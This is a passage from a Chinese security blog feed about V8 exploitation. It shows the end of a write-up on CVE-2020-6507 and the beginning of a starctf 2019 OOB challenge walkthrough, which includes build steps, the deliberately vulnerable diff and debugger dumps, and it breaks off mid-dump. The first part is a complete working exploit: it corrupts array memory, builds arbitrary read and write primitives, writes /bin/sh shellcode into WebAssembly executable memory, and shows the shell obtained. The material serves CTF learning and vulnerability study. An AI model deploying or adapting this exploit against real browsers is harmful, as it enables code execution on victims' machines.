class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span><br><span class="line"><span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span><br><span class="line"><span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span><br><span class="line"><span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">var</span> bigUint64 = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="title class_">Uint32Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">float_to_int</span>(<span class="params">f</span>)</span><br><span class="line">&#123;</span><br><span class="line">    f64[<span class="number">0</span>] = f;</span><br><span class="line">    <span class="keyword">return</span> bigUint64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">int_to_float</span>(<span class="params">i</span>)</span><br><span class="line">&#123;</span><br><span class="line">    bigUint64[<span class="number">0</span>] = i;</span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">array = <span class="title class_">Array</span>(<span class="number">0x40000</span>).<span class="title function_">fill</span>(<span class="number">1.1</span>);</span><br><span class="line">args = <span class="title class_">Array</span>(<span class="number">0x100</span> - <span class="number">1</span>).<span class="title function_">fill</span>(array);</span><br><span class="line">args.<span class="title function_">push</span>(<span class="title class_">Array</span>(<span class="number">0x40000</span> - <span class="number">4</span>).<span class="title function_">fill</span>(<span class="number">2.2</span>));</span><br><span class="line">giant_array = <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">concat</span>.<span class="title function_">apply</span>([], args);</span><br><span class="line">giant_array.<span class="title function_">splice</span>(giant_array.<span class="property">length</span>, <span class="number">0</span>, <span class="number">3.3</span>, <span class="number">3.3</span>, <span class="number">3.3</span>, <span class="number">3.3</span>);</span><br><span class="line"></span><br><span class="line">length_as_double =</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="keyword">new</span> <span class="title class_">BigUint64Array</span>([<span class="number">0x24242424n</span>]).<span class="property">buffer</span>)[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">trigger</span>(<span class="params">array</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> x = array.<span class="property">length</span>;</span><br><span class="line">  x -= <span class="number">67108861</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line">  x *= <span class="number">5</span>;</span><br><span class="line">  x -= <span class="number">4</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">let</span> corrupting_array = [<span class="number">0.1</span>, <span class="number">0.1</span>];</span><br><span class="line">  <span class="keyword">let</span> a = [corrupting_array];</span><br><span class="line">  <span class="keyword">let</span> corrupted_array = [<span class="number">0.1</span>];</span><br><span class="line"></span><br><span class="line">  corrupting_array[x] = length_as_double;</span><br><span class="line">  <span class="keyword">return</span> [corrupting_array, a, corrupted_array];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">80000</span>; ++i) &#123;</span><br><span class="line">  <span class="title function_">trigger</span>(giant_array);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> corrupted_array = <span class="title function_">trigger</span>(giant_array)[<span class="number">2</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;corrupted array length: &#x27;</span> + corrupted_array.<span class="property">length</span>.<span class="title function_">toString</span>(<span class="number">16</span>));</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> double_array = [<span class="number">2.1</span>];</span><br><span class="line"><span class="keyword">var</span> obj = &#123;<span class="string">&quot;a&quot;</span>:<span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> obj_array = [obj];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> double_array_map = <span class="title function_">float_to_int</span>(corrupted_array[<span class="number">20</span>]);</span><br><span class="line"><span class="keyword">var</span> obj_array_map = <span class="title function_">float_to_int</span>(corrupted_array[<span class="number">32</span>]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">    obj_array[<span class="number">0</span>] = target_var;</span><br><span class="line">    corrupted_array[<span class="number">32</span>] = <span class="title function_">int_to_float</span>(double_array_map);</span><br><span class="line">    <span class="keyword">let</span> target_var_address = <span class="title function_">float_to_int</span>(obj_array[<span class="number">0</span>])-<span class="number">1n</span>;</span><br><span class="line">    corrupted_array[<span class="number">32</span>] = <span class="title function_">int_to_float</span>(obj_array_map);</span><br><span class="line">    <span class="keyword">return</span> target_var_address;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fakeObject</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">    double_array[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(target_var+<span class="number">1n</span>);</span><br><span class="line">    corrupted_array[<span class="number">20</span>] = <span class="title function_">int_to_float</span>(obj_array_map);</span><br><span class="line">    <span class="keyword">let</span> fake_obj = double_array[<span class="number">0</span>];</span><br><span class="line">    corrupted_array[<span class="number">20</span>] = <span class="title function_">int_to_float</span>(double_array_map);</span><br><span class="line">    <span class="keyword">return</span> fake_obj;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fake_array = [<span class="title function_">int_to_float</span>(double_array_map), <span class="title function_">int_to_float</span>(<span class="number">0x4141414141414141n</span>)]</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">AAR</span>(<span class="params">addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x4cn</span>;</span><br><span class="line">    fake_array[<span class="number">1</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">8n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">let</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr+<span class="number">8n</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">float_to_int</span>(fake_obj[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">AAW</span>(<span class="params">addr, value</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x4cn</span>;</span><br><span class="line">    fake_array[<span class="number">1</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">8n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">var</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr+<span class="number">8n</span>);</span><br><span class="line">    fake_obj[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(value);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">shellcode_write</span>(<span class="params">addr,shellcode</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(shellcode.<span class="property">length</span>*<span class="number">8</span>);</span><br><span class="line">    <span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line">    <span class="keyword">var</span> buf_backing_store_addr=<span class="title function_">addressOf</span>(data_buf)+<span class="number">0x14n</span>;</span><br><span class="line">    <span class="title function_">AAW</span>(buf_backing_store_addr,addr);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i=<span class="number">0</span>;i&lt;shellcode.<span class="property">length</span>;++i)</span><br><span class="line">        data_view.<span class="title function_">setFloat64</span>(i*<span class="number">8</span>,<span class="title function_">int_to_float</span>(shellcode[i]),<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasmInstanceAddr = <span class="title function_">addressOf</span>(wasmInstance);</span><br><span class="line"><span class="keyword">var</span> rwx_addr = <span class="title function_">AAR</span>(wasmInstanceAddr+<span class="number">0x68n</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//Linux x64</span></span><br><span class="line"><span class="keyword">var</span> shellcode = [</span><br><span class="line">  <span class="number">0x2fbb485299583b6an</span>,</span><br><span class="line">  <span class="number">0x5368732f6e69622fn</span>,</span><br><span class="line">  <span class="number">0x050f5e5457525f54n</span></span><br><span class="line">];</span><br><span class="line"><span class="title function_">shellcode_write</span>(rwx_addr, shellcode);</span><br><span class="line"><span class="title function_">f</span>();</span><br><span class="line"></span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><p>最终稳定getshell</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/exp2.js </span><br><span class="line">corrupted array length: 12121212</span><br><span class="line">$ id</span><br><span class="line">uid=1000(fuzz) gid=1000(fuzz) groups=1000(fuzz),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)</span><br></pre></td></tr></table></figure></div><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>V8漏洞从原理上来看还是比较复杂的，如果要深究其代码，分析起来相对较难。但如果仅仅是根据POC写出exp的话（对于简单的打CTF来说），根据模板就可以较为容易的写出。同时在了解漏洞产生原理之后，应该尽可能优化POC，优化exp，毕竟按回车直接拿到shell是pwn人最舒服的时刻了。</p>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/11/02/V8/V8%E5%88%A9%E7%94%A8(3)-CVE-2020-6507/</id>
    <link href="https://staticccccccc.github.io/2024/11/02/V8/V8%E5%88%A9%E7%94%A8(3)-CVE-2020-6507/"/>
    <published>2024-11-02T13:30:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>首先从chrome的<a class="link"   href="https://chromereleases.googl]]>
    </summary>
    <title>V8利用(3)-CVE-2020-6507</title>
    <updated>2024-11-02T13:30:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="V8" scheme="https://staticccccccc.github.io/categories/V8/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<p>该题目复现参考<a class="link"   href="https://nobb.site/2021/12/02/0x6B/" >从0开始学V8漏洞利用之starctf 2019 OOB（三） - Hc1m1 (nobb.site)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">clone</span> https://github.com/sixstars/starctf2019.git</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">cd</span> v8</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git apply ../starctf2019/pwn-OOB/oob.diff</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">gclient <span class="built_in">sync</span> -D</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">gn gen out/x64_startctf.release --args=<span class="string">&#x27;v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu=&quot;x64&quot; use_goma=false goma_dir=&quot;None&quot; v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true&#x27;</span></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">ninja -C out/x64_startctf.release d8</span></span><br></pre></td></tr></table></figure></div><h2 id="diff分析"><a href="#diff分析" class="headerlink" title="diff分析"></a>diff分析</h2><p>该题目属于人为造洞类型，给出了一个diff，可以发现直接造出了一个oob漏洞，可以实现任意读写。oob具体为</p><div class="code-container" data-rel="Diff"><figure class="iseeu highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="addition">+BUILTIN(ArrayOob)&#123;</span></span><br><span class="line"><span class="addition">+    uint32_t len = args.length();</span></span><br><span class="line"><span class="addition">+    if(len &gt; 2) return ReadOnlyRoots(isolate).undefined_value();</span></span><br><span class="line"><span class="addition">+    Handle&lt;JSReceiver&gt; receiver;</span></span><br><span class="line"><span class="addition">+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(</span></span><br><span class="line"><span class="addition">+            isolate, receiver, Object::ToObject(isolate, args.receiver()));</span></span><br><span class="line"><span class="addition">+    Handle&lt;JSArray&gt; array = Handle&lt;JSArray&gt;::cast(receiver);</span></span><br><span class="line"><span class="addition">+    FixedDoubleArray elements = FixedDoubleArray::cast(array-&gt;elements());</span></span><br><span class="line"><span class="addition">+    uint32_t length = static_cast&lt;uint32_t&gt;(array-&gt;length()-&gt;Number());</span></span><br><span class="line"><span class="addition">+    if(len == 1)&#123;</span></span><br><span class="line"><span class="addition">+        //read</span></span><br><span class="line"><span class="addition">+        return *(isolate-&gt;factory()-&gt;NewNumber(elements.get_scalar(length)));</span></span><br><span class="line"><span class="addition">+    &#125;else&#123;</span></span><br><span class="line"><span class="addition">+        //write</span></span><br><span class="line"><span class="addition">+        Handle&lt;Object&gt; value;</span></span><br><span class="line"><span class="addition">+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(</span></span><br><span class="line"><span class="addition">+                isolate, value, Object::ToNumber(isolate, args.at&lt;Object&gt;(1)));</span></span><br><span class="line"><span class="addition">+        elements.set(length,value-&gt;Number());</span></span><br><span class="line"><span class="addition">+        return ReadOnlyRoots(isolate).undefined_value();</span></span><br><span class="line"><span class="addition">+    &#125;</span></span><br><span class="line"><span class="addition">+&#125;</span></span><br></pre></td></tr></table></figure></div><p>从<code>elements.getscalar(length)</code>就可以看出读取操作会把数组后的64bit读出出来</p><p>而从<code>elements.set(length,value-&gt;Number())</code>可以看出它会赋值数组后的64bit为给出的值</p><h2 id="漏洞调试"><a href="#漏洞调试" class="headerlink" title="漏洞调试"></a>漏洞调试</h2><h3 id="读取测试"><a href="#读取测试" class="headerlink" title="读取测试"></a>读取测试</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//test.js</span></span><br><span class="line"><span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span><br><span class="line"><span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span><br><span class="line"><span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span><br><span class="line"><span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">var</span> bigUint64 = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="title class_">Uint32Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">float_to_int</span>(<span class="params">f</span>)</span><br><span class="line">&#123;</span><br><span class="line">  f64[<span class="number">0</span>] = f;</span><br><span class="line">    <span class="keyword">return</span> bigUint64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">int_to_float</span>(<span class="params">i</span>)</span><br><span class="line">&#123;</span><br><span class="line">    bigUint64[<span class="number">0</span>] = i;</span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> farray = [<span class="number">2.1</span>];</span><br><span class="line"><span class="keyword">var</span> x = <span class="title function_">float_to_int</span>(farray.<span class="title function_">oob</span>());</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(x);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(farray);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(x);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><p><code>farray</code>对象的结构体为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x02a686e0f3c1</span><br><span class="line">0x2a686e0f3c1: [JSArray]</span><br><span class="line"> - map: 0x1b4ab9602ed9 &lt;Map(PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x1c4d45d11111 &lt;JSArray[0]&gt;</span><br><span class="line"> - elements: 0x02a686e0f3a9 &lt;FixedDoubleArray[1]&gt; [PACKED_DOUBLE_ELEMENTS]</span><br><span class="line"> - length: 1</span><br><span class="line"> - properties: 0x0599b4040c71 &lt;FixedArray[0]&gt; &#123;</span><br><span class="line">    #length: 0x003321b001a9 &lt;AccessorInfo&gt; (const accessor descriptor)</span><br><span class="line"> &#125;</span><br><span class="line"> - elements: 0x02a686e0f3a9 &lt;FixedDoubleArray[1]&gt; &#123;</span><br><span class="line">           0: 2.1</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure></div><p>其内存为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/16gx 0x02a686e0f3c1-1</span><br><span class="line">0x2a686e0f3c0:0x00001b4ab9602ed90x00000599b4040c71</span><br><span class="line">0x2a686e0f3d0:0x000002a686e0f3a90x0000000100000000</span><br><span class="line">0x2a686e0f3e0:0x00000599b40405610x00001b4ab9602ed9</span><br><span class="line">0x2a686e0f3f0:0x00000599b40412c90x0000000100000000</span><br><span class="line">0x2a686e0f400:0x00000400000000000x00000599b40413b9</span><br><span class="line">0x2a686e0f410:0x00000000000000020x00001b4ab9602ed9</span><br><span class="line">0x2a686e0f420:0x00000599b40409410x0000000e00000003</span><br><span class="line">0x2a686e0f430:0x31353737303030330x0000353632383136</span><br></pre></td></tr></table></figure></div><p>其elements内存为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/16gx 0x02a686e0f3a9-1</span><br><span class="line">0x2a686e0f3a8:0x00000599b40414f90x0000000100000000</span><br><span class="line">0x2a686e0f3b8:0x4000cccccccccccd0x00001b4ab9602ed9</span><br><span class="line">0x2a686e0f3c8:0x00000599b4040c710x000002a686e0f3a9</span><br><span class="line">0x2a686e0f3d8:0x00000001000000000x00000599b4040561</span><br><span class="line">0x2a686e0f3e8:0x00001b4ab9602ed90x00000599b40412c9</span><br><span class="line">0x2a686e0f3f8:0x00000001000000000x0000040000000000</span><br><span class="line">0x2a686e0f408:0x00000599b40413b90x0000000000000002</span><br><span class="line">0x2a686e0f418:0x00001b4ab9602ed90x00000599b4040941</span><br></pre></td></tr></table></figure></div><p>可以看到存储浮点数值的下一个64bit便是farray的map地址，再来看被赋值的x的值</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; job 0x02a686e0f409</span><br><span class="line">0x2a686e0f409: [BigInt]</span><br><span class="line"> - map: 0x0599b40413b9 &lt;Map&gt;</span><br><span class="line">- length: 1</span><br><span 